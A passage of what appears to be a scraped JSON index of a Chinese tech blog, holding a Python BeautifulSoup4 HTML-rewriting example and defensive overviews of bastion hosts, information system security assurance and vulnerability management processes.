htmlstr=\u0026#39;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;a class=\u0026#34;videoslide\u0026#34; href=\u0026#34;http://www.test.com/wp-content/uploads/1020/1381824922.JPG\u0026#34;\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;img src=\u0026#34;http://www.test.com/wp-content/uploads/1020/1381824922_zy_compress.JPG\u0026#34; data-zy-media-id=\u0026#34;zy_location_201310151613422786\u0026#34;/\u0026gt;\u0026lt;/a\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第一张_1381824798.JPG\u0026#34;\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;img data-zy-media-id=\u0026#34;zy_image_201310151613169945\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第一张_1381824798_zy_compress.JPG\u0026#34;/\u0026gt;\u0026lt;/a\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第二张_1381824796.jpg\u0026#34;\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;img data-zy-media-id=\u0026#34;zy_image_201310151613163009\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第二张_1381824796_zy_compress.jpg\u0026#34;/\u0026gt;\u0026lt;/a\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;a href=\u0026#34;http://www.test.com/wp-content/uploads/1020/第三张.jpg\u0026#34;\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;img data-zy-media-id=\u0026#34;zy_image_201312311838584446\u0026#34; src=\u0026#34;http://www.test.com/wp-content/uploads/1020/第三张_zy_compress.jpg\u0026#34;/\u0026gt;\u0026lt;/a\u0026gt;\u0026#39; \\ \u0026#39;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#39; def procHtml(htmlstr): soup = BeautifulSoup(htmlstr, \u0026#39;lxml\u0026#39;) a_tags=soup.select(\u0026#39;a\u0026#39;) for a_tag in a_tags: a_tag_src = a_tag.get(\u0026#39;href\u0026#39;) a_tag_filename = os.path.basename(a_tag_src) a_tag_path = os.path.join(\u0026#39;src\u0026#39;, a_tag_filename) a_tag[\u0026#39;href\u0026#39;]=a_tag_path next_tag=a_tag.next #判断是视频还是图片，如果a标签带了class=\u0026#34;videoslide\u0026#34; 是视频否则是图片 if a_tag.get(\u0026#39;class\u0026#39;) and \u0026#39;videoslide\u0026#39;==a_tag.get(\u0026#39;class\u0026#39;)[0]: # 处理视频文件 media_id = next_tag.get(\u0026#39;data-zy-media-id\u0026#39;) if media_id: media_url = \u0026#39;http://www.test.com/travel/show_media/\u0026#39; + str(media_id)+\u0026#39;.mp4\u0026#39; media_filename = os.path.basename(media_url) media_path = os.path.join(\u0026#39;src\u0026#39;, media_filename) # 将div.video标签替换a标签 video_html = \u0026#39;\u0026lt;div class=\\\u0026#34;video\\\u0026#34;\u0026gt;\u0026lt;video controls width = \\\u0026#34;100%\\\u0026#34; poster = \\\u0026#34;\u0026#39; + a_tag_path + \u0026#39;\\\u0026#34; \u0026gt;\u0026lt;source src = \\\u0026#34;\u0026#39; + media_path + \u0026#39;\\\u0026#34; type = \\\u0026#34;video/mp4\\\u0026#34; /\u0026gt; 您的浏览器不支持H5视频，请使用Chrome / Firefox / Edge浏览器。 \u0026lt;/video\u0026gt;\u0026lt;/div\u0026gt;\u0026#39; video_soup = BeautifulSoup(video_html, \u0026#39;lxml\u0026#39;) a_tag.replaceWith(video_soup.div) else: #获取图片信息 if \u0026#39;img\u0026#39;==next_tag.name: img_src=next_tag.get(\u0026#39;src\u0026#39;) # 判断是否路径是否为本地资源 data:image和file: if img_src.find(\u0026#39;data:image\u0026#39;) == -1 and img_src.find(\u0026#39;file:\u0026#39;) == -1: img_filename = os.path.basename(img_src) img_path = os.path.join(\u0026#39;src\u0026#39;, img_filename) # 将\u0026lt;figure\u0026gt;\u0026lt;img\u0026gt;标签替换a标签 figcaption=\u0026#39;\u0026#39; figure_html=\u0026#39;\u0026lt;figure\u0026gt;\u0026lt;img src=\\\u0026#34;\u0026#39;+img_path+\u0026#39;\\\u0026#34; data-zy-media-id=\\\u0026#34;\u0026#39;+a_tag_path+\u0026#39;\\\u0026#34;\u0026gt;\u0026lt;figcaption\u0026gt;\u0026#39;+figcaption+\u0026#39;\u0026lt;/figcaption\u0026gt;\u0026lt;/figure\u0026gt;\u0026#39; figure_soup = BeautifulSoup(figure_html, \u0026#39;lxml\u0026#39;) a_tag.replaceWith(figure_soup.figure) html_content = soup.contents[0] return html_content if __name__ == \u0026#39;__main__\u0026#39;: pro_html_str=procHtml(htmlstr) print(pro_html_str) 结果:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;video\u0026#34;\u0026gt; \u0026lt;video controls=\u0026#34;\u0026#34; poster=\u0026#34;src\\1381824922.JPG\u0026#34; width=\u0026#34;100%\u0026#34;\u0026gt; \u0026lt;source src=\u0026#34;src\\zy_location_201310151613422786.mp4\u0026#34; type=\u0026#34;video/mp4\u0026#34;/\u0026gt; 您的浏览器不支持H5视频，请使用Chrome / Firefox / Edge浏览器。 \u0026lt;/video\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;figure\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;src\\第一张_1381824798.JPG\u0026#34; src=\u0026#34;src\\第一张_1381824798_zy_compress.JPG\u0026#34;/\u0026gt; \u0026lt;figcaption\u0026gt;\u0026lt;/figcaption\u0026gt; \u0026lt;/figure\u0026gt; \u0026lt;figure\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;src\\第二张_1381824796.jpg\u0026#34; src=\u0026#34;src\\第二张_1381824796_zy_compress.jpg\u0026#34;/\u0026gt; \u0026lt;figcaption\u0026gt;\u0026lt;/figcaption\u0026gt;\u0026lt;/figure\u0026gt; \u0026lt;figure\u0026gt; \u0026lt;img data-zy-media-id=\u0026#34;src\\第三张.jpg\u0026#34; src=\u0026#34;src\\第三张_zy_compress.jpg\u0026#34;/\u0026gt; \u0026lt;figcaption\u0026gt;\u0026lt;/figcaption\u0026gt; \u0026lt;/figure\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 博客地址：http://xiejava.ishareread.com/\n","permalink":"http://xiejava.ishareread.com/posts/2022-05-18-python%E4%BD%BF%E7%94%A8beautifulsoup4%E4%BF%AE%E6%94%B9%E7%BD%91%E9%A1%B5%E5%86%85%E5%AE%B9%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e最近有个小项目，需要爬取页面上相应的资源数据后，保存到本地，然后将原始的HTML源文件保存下来，对HTML页面的内容进行修改将某些标签整个给替换掉。\u003c/p\u003e","title":"Python使用BeautifulSoup4修改网页内容实战"},{"content":"一、什么是运维安全管理与审计系统 运维安全管理与审计系统（俗称 “堡垒机”）：是采用新一代智能运维技术框架，基于认证、授权、访问、审计的管理流程设计理念，实现对企事业IT中心的网络设备、数据库、安全设备、主机系统、中间件等资源统一运维管理和审计；通过集中化运维管控、运维过程实时监管、运维访问合规性控制、运维过程图形化审计等功能，为企事业IT中心运维构建一套事前预防、事中监控、事后审计完善的安全管理体系。\n简单的说，运维安全管理与审计系统（堡垒机）就是用来控制哪些人可以登录哪些资产（事先防范和控制），以及录像记录登录资产后做了什么事情（事中监控和事后溯源）的系统。其核心是可控及审计。可控是指权限可控、行为可控。权限可控指可以方便的设置、回收运维操作人员的权限；行为可控，比如需要集中禁用某个危险命令；可审计，指有权限操作的人员对资产的所有操作都有记录，能够被监控和审计。\n二、为什么需要运维安全管理与审计系统 当企业的IT资产越来越多，当参与运维的岗位越来越多样性，运维团队达到一定的规模，不同的人员如运维人员、开发人员、第三方代维、厂商支撑人员需要控制访问不同的资产及权限，如果没有一套好的机制，就会产生混乱。无法有效的做到“哪些人允许以什么样的身份访问哪些设备”，更加没有办法知道“哪些人登录设备后做了哪些事情”，出了问题以后无法回溯。\n运维安全管理与审计系统（堡垒机）是从跳板机（也叫前置机）的概念演变过来的。早在2000年左右，一些中大型企业为了能对运维人员的远程登录进行集中管理，会在机房部署一台跳板机。跳板机其实就是一台unix/linux/windows操作系统的服务器，所有运维人员都需要先远程登录跳板机，然后再从跳板机登录其他服务器中进行运维操作。\n跳板机解决了远程登录集中管理访问的问题，但跳板机并没有实现对运维人员操作行为的控制和审计，使用跳板机过程中还是会有误操作、违规操作导致的操作事故，一旦出现操作事故很难快速定位原因和责任人。此外，跳板机存在严重的安全风险，一旦跳板机系统被攻入，则将后端资源风险完全暴露无遗。同时，对于个别资源（如telnet）可以通过跳板机来完成一定的内控，但是对于更多更特殊的资源（ftp、rdp等）来讲就显得力不从心了。\n人们逐渐认识到跳板机的不足，进而需要更新、更好的安全技术理念来实现运维操作管理。需要一种能满足角色管理与授权审批、信息资源访问控制、操作记录和审计、系统变更和维护控制要求，并生成一些统计报表配合管理规范来不断提升IT内控的合规性的产品。在这些理念的指导下，2005年前后，运维安全管理与审计系统（堡垒机）开始以一个独立的产品形态被广泛部署，有效地降低了运维操作风险，使得运维操作管理变得更简单、更安全。\n运维安全管理与审计系统（堡垒机）承担了运维人员在运维过程中唯一的入口，通过精细化授权以明确“哪些人以什么身份访问了哪些设备”，从而让运维混乱变得有序起来，堡垒机不仅可以明确每一个运维人员的访问路径，还可以将每一次访问及操作过程变得可以“审计”，就像飞机中的黑匣子，汽车上的行车记录仪，能够做到针对运维人员的每次一操作均可以录像、全程审计，一但出了问题，可以追踪溯源。\n运维安全管理与审计系统的目标可以概括为5W，主要是为了降低运维风险。具体如下：\n审计：你做了什么？（What） 授权：你能做哪些？（Which） 账号：你要去哪？（Where） 认证：你是谁？（Who） 来源：访问时间？（When） 运维安全管理与审计系统实现：\n事前预防：建立“自然人-资源-资源账号”关系，实现统一认证和授权 事中控制：建立“自然人-操作-资源”关系，实现操作审计和控制 事后审计：建立“自然人-资源-审计日志”关系，实现事后溯源和责任界定 三、运维安全管理与审计系统原理 原理 运维安全管理与审计系统（堡垒机），主要采用4A管理模型，对IT运维操作进行访问控制和行为审计的合规性管控系统，主要用来解决企业IT运维部门账号管理混乱，身份冒用、滥用，授权控制不明确，操作行为不规范，事件责任无法定位等问题。 4A 是指认证 Authentication、授权 Authorization、账号 Account、审计 Audit，中文名称为统一安全管理平台解决方案。即将身份认证、授权、记账和审计定义为网络安全的四大组成部分，从而确立了身份认证在整个网络安全系统中的地位与作用。 具体来说：\n集中认证 (authentication) 管理 可以根据用户应用的实际需要，为用户提供不同强度的认证方式，既可以保持原有的静态口令方式，又可以提供具有双因子认证方式的高强度认证（一次性口令、数字证书、动态口令），而且还能够集成现有其它如生物特征等新型的认证方式。不仅可以实现用户认证的统一管理，并且能够为用户提供统一的认证门户，实现企业信息资源访问的单点登录。 集中权限 (authorization) 管理 可以对用户的资源访问权限进行集中控制。它既可以实现对 B/S、C/S 应用系统资源的访问权限控制，也可以实现对数据库、主机及网络设备的操作的权限控制，资源控制类型既包括 B/S 的 URL、C/S 的功能模块，也包括数据库的数据、记录及主机、网络设备的操作命令、IP 地址及端口。 集中帐号（account）管理 为用户提供统一集中的帐号管理，支持管理的资源包括主流的操作系统、网络设备和应用系统；不仅能够实现被管理资源帐号的创建、删除及同步等帐号管理生命周期所包含的基本功能，而且也可以通过平台进行帐号密码策略，密码强度、生存周期的设定。 集中审计 (audit) 管理 将用户所有的操作日志集中记录管理和分析，不仅可以对用户行为进行监控，并且可以通过集中的审计数据进行数据挖掘，以便于事后的安全事故责任的认定。 技术架构 实现的技术架构如下： 核心功能 主要核心功能包括： 1、访问控制 通过对访问资源的严格控制，堡垒机可以确保运维人员在其账号有效权限、期限内合法访问操作资源，降低操作风险，以实现安全监管目的，保障运维操作人员的安全、合法合规、可控制性。 2、账号管理 当运维人员在使用堡垒机时，无论是使用云主机还是局域网的主机，都可以同步导入堡垒机进行账号集中管理与密码的批量修改，并可一键批量设置SSH秘钥对等。 3、资源授权 支持云主机、局域网主机等多种形式的主机资源授权，并且堡垒机采用基于角色的访问控制模型，能够对用户、资源、功能作用进行细致化的授权管理，解决人员众多、权限交叉、资产繁琐、各类权限复制等众多运维人员遇到的运维难题。 4、指令审核 对运维人员的账号使用情况，包括登录、资源访问、资源使用等。针对敏感指令，堡垒机可以对非法操作进行阻断响应或触发审核的操作情况，审核未通过的敏感指令，堡垒机将进行拦截。 5、审计录像 除了可以提供安全层面外，还可以利用堡垒机的事前权限授权、事中敏感指令拦截外，以及堡垒机事后运维审计的特性。运维人员在堡垒机中所进行的运维操作均会以日志的形式记录，管理者即通过日志对微云人员的操作进行安全审计录像。 6、身份认证 为运维人员提供不同强度的认证方式，既可以保持原有的静态口令方式，还可以提供微信、短信等认证方式。堡垒机不仅可以实现用户认证的统一管理，还能为运维人员提供统一一致的认证门户，实现企业的信息资源访问的单点登录。 7、操作审计 将运维人员所有操作日志集中管理与分析，不仅可以对用户行为进行监控与拦截，还可以通过集中的安全审计数据进行数据挖掘，以便于运维人员对安全事故的操作审计认定。\n四、运维安全管理与审计系统部署方式 1、单机部署 堡垒机主要都是旁路部署，旁挂在交换机旁边，只要能访问所有设备即可。 部署特点： 旁路部署，逻辑串联。 不影响现有网络结构。 2、HA高可靠部署 旁路部署两台堡垒机，中间有心跳线连接，同步数据。对外提供一个虚拟IP。用户通过堡垒机虚拟IP进行访问，堡垒机自动进行会话负载分配和数据同步、冗余存储。 部署特点： 两台硬件堡垒机，一主一备/提供VIP。 当主机出现故障时，备机自动接管服务。 五、常见运维安全管理与审计系统产品 商用 奇安信[运维安全管理与审计系统]：https://www.qianxin.com/product/detail/pid/385 亚信安全[信磐堡垒机]：https://www.asiainfo-sec.com/product/detail-27.html 绿盟[绿盟运维安全管理系统]：https://www.nsfocus.com.cn/html/2019/212_0926/20.html 启明星辰[堡垒机]：https://www.venustech.com.cn/new_type/blj/\n开源 麒麟堡垒机：http://www.secvpn.com.cn/ 飞致JumpServer堡垒机：https://fit2cloud.com/jumpserver/index.html\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-05-11-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AE%BE%E5%A4%87-%E8%AE%A4%E8%AF%86%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E4%B8%8E%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9F%E5%A0%A1%E5%9E%92%E6%9C%BA/","summary":"\u003ch2 id=\"一什么是运维安全管理与审计系统\"\u003e一、什么是运维安全管理与审计系统\u003c/h2\u003e\n\u003cp\u003e运维安全管理与审计系统（俗称 “堡垒机”）：是采用新一代智能运维技术框架，基于认证、授权、访问、审计的管理流程设计理念，实现对企事业IT中心的网络设备、数据库、安全设备、主机系统、中间件等资源统一运维管理和审计；通过集中化运维管控、运维过程实时监管、运维访问合规性控制、运维过程图形化审计等功能，为企事业IT中心运维构建一套事前预防、事中监控、事后审计完善的安全管理体系。\u003c/p\u003e","title":"网络安全设备-认识运维安全管理与审计系统（堡垒机）"},{"content":"一、信息系统安全保障相关概念 信息系统是用于采集、处理、存储、传输、分发和部署信息的整个基础设施、组织结构、人员和组件的总和。随着当前社会信息化程度的不断提高，各类信息系统越来越成为其所从属的组织机构生存和发展的关键因素，信息系统的安全风险也成为组织风险的一部分。同时，信息系统受来自于组织内部与外部环境的约束，信息系统的安全保障除了要充分分析信息系统本身的技术、业务、管理等特性，还要考虑这些约束条件所产生的要求。为了保障组织机构完成使命，系统安全管理人员必须针对信息系统面临的各种各样的风险制定相应的策略。\n信息系统安全保障是在信息系统的整个生命周期中，通过对信息系统的风险分析，制定并执行相应的安全保障策略，从技术、管理、工程和人员等方面提出信息安全保障要求，确保信息系统的保密性、完整性和可用性，把安全风险降到可接受的程度，从而保障系统能够顺利实现组织机构的使命。\n信息系统安全保障工作就是针对信息系统在运行环境中所面临的各种风险，制定信息安全保障策略体系，在策略指导下，设计并实现信息安全保障架构或模型，采取技术、管理等安全保障措施，将风险降至预定可接受的程度，从而保障其使命要求。策略体系是组织机构在对风险、资产和使命综合理解的基础上所做出的指导文件。策略体系的制定，反映了组织机构对信息系统安全保障及其目标的理解，它的制定和贯彻执行对组织机构信息系统安全保障起着纲领性的指导作用。 信息系统安全保障工作的基础和前提是风险管理。信息安全策略必须以风险管理为基础，针对可能存在的各种威胁和自身存在的弱点，采取有针对性的防范措施。\n二、信息系统安全保障模型 信息系统安全保障模型包含保障要素、生命周期和安全特征3个方面。 信息系统安全保障模型的主要思路是以风险和策略为基础，在整个信息系统的生命周期中实施技术、管理、工程和人员保障要素。通过信息系统安全保障实现信息安全的安全特征：信息的保密性、完整性和可用性特征，从而达到保障组织机构执行其使命的根本目的。\n模型特点：\n将风险和策略作为信息系统安全保障的基础和核心。 强调信息系统安全保障应贯穿于整个信息系统生命周期的全过程。 强调综合保障的观念。通过综合技术、管理、工程和人员要素来保障信息系统安全。 1、基于信息系统生命周期的信息安全保障 信息系统的生命周期层面和保障要素层面不是相互孤立的，而是相互关联、密不可分的。 在信息系统生命周期模型中，将信息系统的整个生命周期抽象成计划组织、开发采购、实施交付、运行维护和废弃5个阶段，加上在运行维护阶段的变更产生的反馈，形成信息系统生命周期完整的闭环结构。在信息系统生命周期中的任何时间点上，都需要综合信息系统安全保障的技术、管理、工程和人员保障要素。\n计划组织阶段 ：根据组织机构的业务要求、法律法规的要求、系统所存在的风险等因素，产生了信息系统安全保障需求。在此阶段，信息安全策略应加入信息系统建设和使用的决策中。从信息系统建设开始，就应该综合考虑系统的安全保障要求，确保信息系统建设和信息系统安全保障建设同步规划、同步实施。也就是我们平时讲的信息系统和安全保障要“三同步”\u0026ndash;同步规划、同步建设、同步使用。 开发采购阶段：此阶段是计划组织阶段的细化和具体体现。在此阶段中，进行系统安全需求分析、系统安全体系设计以及相关预算申请和项目准备等活动。在此阶段，应克服传统拘泥于具体技术的片面性，要综合考虑系统的风险和安全策略，将信息系统安全保障作为一个个整体，进行系统地设计，建立信息系统安全保障整体规划和全局视野。组织机构可根据具体要求，对系统整体的技术、管理安全保障规划或设计进行评估，以保证对信息系统的整体规划满足组织机构的建设要求和相关国家与行业的要求。 实施交付阶段：在此阶段，组织机构可通过对承建方进行信息安全服务资格要求和人员专业资格要求以确保施工组织的服务能力；组织机构还可通过信息系统安全保障工程保障对实施施工过程进行监理和评估,最终确保所交付系统的安全性。 运行维护阶段：信息系统进人运行维护阶段后，对信息系统的管理、运行维护和使用人员的能力等方面进行综合保障,是信息系统得以安全正常运行的根本保证。 变更：信息系统投入运行后并不是- - 成不变的，它随着业务和需求的变更、外界环境的变更产生新的要求或增强原有的要求，重新进人信息系统组织计划阶段(即规划阶段)。 废弃阶段：当信息系统不再满足业务要求时，信息系统进入废弃阶段，在这个阶段，需要考虑信息安全销毁等要素。 这样，通过在信息系统生命周期所有阶段融人信息系统安全保障概念，确保了信息系统的持续动态安全保障。\n2、信息安全保障要素 1）信息安全技术 信息安全技术体系包括以下几个方面。\n密码技术：密码技术及应用涵盖了数据处理过程的各个环节，如数据加密、密码分析、数字签名、身份识别、秘密分享等。通过以密码学为核心的信息安全理论与技术保证数据的机密性和完整性等要求。 访问控制技术：在为用户对系统资源提供最大限度共享的基础上，对用户的访问权进行管理，防止对信息的非授权篡改和滥用。访问控制对经过身份鉴别后的合法用户提供所需要的且经过授权的服务,拒绝用户越权的服务请求，保证用户在系统安全策略下有序工作。 审计和监控技术：审计是事后认定违反安全规则行为的分析技术，在检测违反安全规则方面、准确发现系统发生的事件以及对事件发生的事后分析方面，审计都发挥着巨大的作用。审计技术的发展，来源于对访问的跟踪，这些访问包括对保存在计算机系统中敏感及重要信息的访问和对计算机系统资源的访问。网络安全监控包括主动监控和被动监控。它依赖于在任何给定时间内网络组件和检测器记录下已经发生的事情，接收日志信息，并对它进行分析。 网络安全技术：这些技术包括网络协议安全、防火墙技术、人侵检测系统/人侵防御系统( Intrusion Detection System/Intrusion Prevention System, IDS/IPS )安全管理平台( Security Operations Center， SOC )、统一威胁管理( Unified Threat Management, UTM )等。网络安全技术主要是保护网络的安全，防止入侵攻击行为的发生。防火墙是一个位于可信网络和不可信网络之间的边界防护系统。防病毒网关防止基于HTTP/FTP/SMTP/POP3/HTTPS等网络协议侵人网络内部的病毒进行过滤。人侵检测系统是一种对网络传输进行即时监视，在发现可疑传输时发出警报措施的网络安全设备。人侵防御系统是监视网络传输行为的安全技术，它能够即时地中断、调整或隔离一些异常或是具有伤害性的网络传输行为。 操作系统与数据库安全技术：操作系统安全技术主要包括身份鉴别、访问控制 、文件系统安全、安全审计等方面。数据库安全技术包括数据库的安全特性和安全功能，数据库完整性要求和备份恢复，以及数据库安全防护、安全监控和安全审计等。 安全漏洞与恶意代码：包括安全漏洞的成因、分类、发掘方法，以及如何修复等;以及恶意代码的加载、隐藏和自我保护技术,恶意代码的检测原理及清除方法等。 软件安全开发：包括软件安全开发模型、软件安全开发关键阶段的安全控制措施等内容。 2）信息安全管理 信息安全管理体系，是组织在整体或特定范围内建立信息安全方针和目标，以及完成这些目标所用方法的体系。基于对业务风险的认识、ISMS包括建立、实施、操作、监视、复查、维护和改进信息安全等一系列的管 理活动，并且表现为组织结构、策略方针、计划活动、目标与原则、人员与责任、过程与方法、资源等诸多要素的集合。\n风险管理是指以风险为主线进行信息安全的管理，它的实施目标就是要依据安全标准和信息系统的安全需求，对信息、信息载体、信息环境进行安全管理，以达到安全目标。\n风险管理贯穿于整个信息系统生命周期，包括对象确立、风险评估、风险控制、审核批准、监控与审查、沟通与咨询等6个方面的内容。其中，对象确立、风险评估、风险控制和审核批准是信息安全风险管理的4个基本步骤，监控与审查、沟通与咨询则贯穿于这4个基本步骤中。\n3）信息安全工程 信息安全工程涉及系统和应用的开发、集成、操作、管理、维护和进化以及产品的开发、交付和升级。\n系统安全工程能力成熟模型(Systems Security Engineering Capability Maturity Model，SSE-CMM)描述了一个组织的系统安全工程过程必须包含的基本特征。这些特征是完善的安全工程保证，也是系统安全工程实施的度量标准，同时还是一个易于理解的评估系统安全工程实施的框架。\n4）信息安全人才 信息安全保障诸要素中，人是最关键也是最活跃的要素。网络攻防对抗，最终较量的是攻防两端的人，而不是设备。对组织机构来说，应建立一个完整的信息安全人才体系。 信息安全人才体系应包括以下方面。\n所有员工：需要进行信息安全保障意识教育，具体可以采用内部培训、在组织机构网站上发布相关信息等措施来增强所有员工的安全意识。 涉及信息系统的岗位和职责的员工：需要进行相应的信息安全保障的基本技能培训。 信息安全专业人员：应建立更全面、更专业的信息安全保障知识和经验。 本文节选自： 《信息安全技术 信息系统安全保障评估框架：简介和一般模型》GB_T 20274.1 200 《CISP培训教材》\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-29-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8B%E4%BF%A1%E6%81%AF%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E4%BF%9D%E9%9A%9C/","summary":"\u003ch2 id=\"一信息系统安全保障相关概念\"\u003e一、信息系统安全保障相关概念\u003c/h2\u003e\n\u003cp\u003e信息系统是用于采集、处理、存储、传输、分发和部署信息的整个基础设施、组织结构、人员和组件的总和。随着当前社会信息化程度的不断提高，各类信息系统越来越成为其所从属的组织机构生存和发展的关键因素，信息系统的安全风险也成为组织风险的一部分。同时，信息系统受来自于组织内部与外部环境的约束，信息系统的安全保障除了要充分分析信息系统本身的技术、业务、管理等特性，还要考虑这些约束条件所产生的要求。为了保障组织机构完成使命，系统安全管理人员必须针对信息系统面临的各种各样的风险制定相应的策略。\u003c/p\u003e","title":"网络信息安全之信息系统安全保障"},{"content":"1947年冯·诺依曼建立计算机系统结构理论时认为，计算机系统也有天生的类似基因的缺陷，也可能在使用和发展过程中产生意想不到的问题。20世纪七八十年代，早期黑客的出现和第一个计算机病毒的产生，软件漏洞逐渐引起人们的关注。在各种产品、主机、网络和复杂信息系统中，安全漏洞以不同形式存在，而且数量逐年增加，利用漏洞造成的各类安全事件层出不穷。攻击行为或网络安全事件的发生正越来越多地受到利益驱动的影响，这种“黑色产业链”的兴起，导致越来越多的网络终端受害，大量机密信息被窃取，敏感数据信息在互联网上传播，并在黑市中待价而沽。工业控制领域以及新技术新应用的安全漏洞，特别是基础核心系统的安全漏洞已经成为危害国家经济和发展安全的重要因素。在安全运营过程中一个最重要的工作就是漏洞管理。\n一、什么是安全漏洞 安全漏洞（Vulnerability）也被称为脆弱性。 根据国标-信息安全技术-安全漏洞标识与描述规范[GB/T 28458-2012]对安全漏洞的定义，安全漏洞是计算机信息系统在需求、设计、实现、配置运行等过程中，有意或无意产生的缺陷。这些缺陷以不同形式存在于计算机信息系统的各个层次和环节之中，一旦被恶意主体所利用，就会对计算机信息系统的安全造成损害，从而影响计算机信息系统的正常运行，危害信息产品或系统及信息的安全属性。\n有时漏洞也被称作错误( Error)、缺陷 ( Fault)、 弱点( Weakness )或是故障( Failure )等，这些术语很容易引起混淆。在许多情况下，人们习惯于将错误、缺陷、弱点都简单地称为漏洞。需要指出的是，严格地说，错误、缺陷、弱点和故障并不等于漏洞。错误、缺陷和弱点是产生漏洞的条件，漏洞被利用后必然会破坏安全属性，但不一定能引起产品或系统故障。\n二、安全漏洞标识与描述 以下为国标-信息安全技术-安全漏洞标识与描述规范[GB/T 28458-2012] 对安全漏洞标识与描述的定义： 安全漏洞描述项包括标识号、名称、发布时间、发布单位、类别、等级、影响系统等必须的描述项，并可更具需要扩充（但不限于）相关编号、利用方法、解决方案建议、其他描述等描述项。 标识号 CVD-YYYY-NNNNNN格式为标识号。CVD为Common V ulnerabilities Description 的缩写；YYYY为4位十进制数字，表示产生本安全漏洞的年份；NNNNNN为6位十进制数字,表示当年内产生的安全漏洞的序号。 名称 安全漏洞标题，概括性描述安全漏洞信息的短语,例如InternetExplorer8.0缓冲区溢出漏洞。 发布时间 安全漏洞信息发布日期。 发布单位 发布安全漏洞的单位全称。 类别 安全漏洞所属分类，说明安全漏洞分类归属的信息。 等级 安全漏洞危害级别，说明安全漏洞能够造成的危害程度。 影响系统 安全漏洞所影响系统的信息，例如厂商、产品名称和版本号等。 相关编号 安全漏洞的其他相关编号,例如Bugtraq编号、CVE编号等。 利用方法 安全漏洞利用的方法，例如安全漏洞攻击方案或利用代码。 解决方案建议 安全漏洞的解决方案，例如补丁信息等。 其他描述 安全漏洞描述需要说明的其他相关信息，例如安全漏洞产生的具体原因。\n三、安全漏洞的分类分级 分类 网络安全漏洞分类是基于漏洞产生或触发的技术原因对漏洞进行划分，分类如下： 分级 网络安全漏洞分级是指采用分级的方式对网络安全漏洞潜在危害的程度进行描述，包括技术分级 和综合分级两种分级方式，每种方式均分为超危（严重）、高危、中危和低危四个等级,具体内容如下: 超危（严重）：漏洞可以非常容易地对目标对象造成特别严重后果； 高危：漏洞可以容易地对目标对象造成严重后果； 中危：漏洞可以对目标对象造成一般后果，或者比较困难地对目标造成严重后果； 低危：漏洞可以对目标对象造成轻微后果，或者比较困难地对目标对象造成一般严重后果，或 者非常困难地对目标对象造成严重后果。\n四、安全漏洞的生命周期 依据信息安全漏洞从产生到消亡的整个过程，信息安全漏洞生命周期分以下几个阶段： a)漏洞的发现：通过人工或者自动的方法分析、挖掘漏洞的过程，并且该漏洞可以被验证和重现。 b)漏洞的利用：利用漏洞对计算机信息系统的保密性、完整性和可用性造成损害的过程。 c)漏洞的修复：通过补丁、升级版本或配置策略等对漏洞进行修补的过程，使得该漏洞不能够被 恶意主体所利用。 d)漏洞的公开：通过公开渠道(如网站、邮件列表等)公布漏洞信息的过程。\n五、安全漏洞的闭环管理 根据漏洞生命周期中漏洞所处的不同状态，将漏洞管理行为对应为预防、收集、消减和发布等活动。 预防是指通过各种安全手段提高信息系统的安全水平，避免漏洞的产生和恶意利用。 收集是针对已发现的漏洞进行信息的及时跟踪与获取。 消减是指在漏洞被发现后积极采取补救措施,最大限度减少漏洞带来的损失。 发布是指在遵循一定的发布策略的前提下,对漏洞及其修复信息进行发布。 用户、厂商和漏洞管理组织可以根据漏洞的状态及管理活动建立符合自身特点的漏洞处理策略和处理流程。 对于企业组织安全运营来说可以参考以下漏洞处理流程： 发现漏洞 一般由渗透测试工程师通过漏洞扫描工具或渗透测试发现系统漏洞，提交渗透测试报告。由安全工程师进行漏洞验证，确定系统漏洞是否真实存在。\n漏洞录入 在漏洞验证完成后，安全工程师需要根据企业内部的漏洞等级划分标准，将存在的漏洞录入漏洞管理系统。\n漏洞分发 漏洞管理系统根据漏洞所影响的业务系统、主机IP等匹配到系统负责部门和修复人。通知系统负责人进行修复加固等。\n漏洞跟进及修复 根据漏洞等级设定的时效性，设置修复计划时间，漏洞复验时间，在漏洞管理系统中进行管理和跟进。漏洞修复人修复完成后提交安全工程师进行漏洞复验，验证漏洞是否确实已经修复。如果漏洞在目前的技术条件下确实无法修复，提交系统负责进行风险确认，采取其他规避风险的措施，如调整访控策略、下线等。\n漏洞修复周期 漏洞修复周期，包括漏洞的验证、评估、分发、复验、修复和关闭的各个环节。漏洞的修复周期，会根据漏洞等级确定。 参考如下：\n漏洞等级 漏洞确认时间 漏洞修复时间 超危（严重） 12小时 24小时 高危 24小时 3*24小时 中危 36小时 7*24小时 低危 72小时 14*24小时 漏洞数据分析 